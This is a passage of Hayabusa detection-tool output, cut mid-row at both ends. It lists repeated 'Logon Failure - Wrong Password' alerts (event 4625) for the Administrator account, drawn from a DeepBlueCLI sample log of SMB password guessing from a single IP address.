NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.020 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2HjD65Xy4Hppim2l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xwmEQxC4iTcF4aFu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.114 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q3QxOH7ok8RR068t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dJFj6Ckw1HdK9w52 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qqu3Im4HXQNyGnYm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bk5dmjQDnpSlREum : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.279 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pk4BvYgXBR2whf80 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i6n1su2TUr7ONQr4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: givsEAGfG0smN9Re : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i2YuM0i7a2QuY7xb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.470 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xuocQPZpd91adY0E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PvGB1dZrfDWyZoqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w4oi8iL88rJo7g2Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cF3OUnytXi4NjvqB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WKkJcp3TYj31iJUM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G0E44RVqAE1feU0b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ny5LCb1qOIUhxOPY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9jcDgzzqH26DjQ1k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yil94cFkU6UP24SK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bkdVHF3vggCcuNdn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4dRRI2CS3aVIX4nX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: chDZq3VgxIE2mRb9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.046 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HLVvgMmqLXKZADON : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i4avO2AJSlNb0IUL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mdo5CvycGvGhn33y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.171 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: heJfjLl1vbX6lMjZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wOP1E6hd4Jtj4gob : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xa7kMCNz0bEGTBqX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HSxTQ4HsZt2DeYVe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YxHpSQwFSV4hveVM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n3OwzSPomxZLoCe6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e9IfwDZIfYT6A50K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.463 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JOf6DbRX4zlNqLdb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 00kXrnJNH40NyoYL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nsNHcb9pnpdRgeL7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ucMhgxMXy9Ch1jNm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cfi3ZaLTECJgjM9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: usugjEEBHlhJvOyu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WQ1pM2CVLt5ITVD5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.746 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NIboW7hNljF3HPpk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rOk5W4rkSYRRw4xS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AJTfcwd8rnFc06iF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.930 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6sm415W5zkvjdnTV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KEiSbtlmW4ou1mc7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xWeZV5pHt94adwUy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5np7HeCPAFTDdTXJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gXbe2jEJVtwaQXlr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7hZFiUCJnaBdHcw4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a71wyo41KV1ZoT7p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ogB17WdeOiC19rqn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.286 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ANOLPWG12lkW39Ei : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y1vf7OUxb6TH3Q4H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bxU5yumSieUzSgzH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v9K5EoWWASU8SlSe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PwZLRPFxaFWwjZEe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8fXgFFb3HTMunsoi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R1RozAr1uhux4cYW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.586 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n7EmuUSv03RnhKsF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jw410HEW8EC3MC9f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UTYp8cEbt3Yggo3J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.727 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yWJVzgYLWIo7SGCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DP13jPdW5Gdl8z56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LNXOWjHmMDhfFVon : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kka1RiF3f7Nhkf8x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.959 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2o90lG6attzWU4ZN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.998 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PyPK9kuJdflQ4RKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.028 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a9I3El7d7anR0kIz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eDUMTEfNhFuuqMle : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e0F70d1WstkqnQgA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bm0txApQSp1U42N3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JeEe5ENSIZnfc3FG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oasE54Z1FlpswY0d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bhje1BgvxOlG28JM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L9iTIv4UQ4En9RA2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.356 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mg8KFm1lCeImj8Sb : IP Address: 192.168.198.149 : AuthPackage: 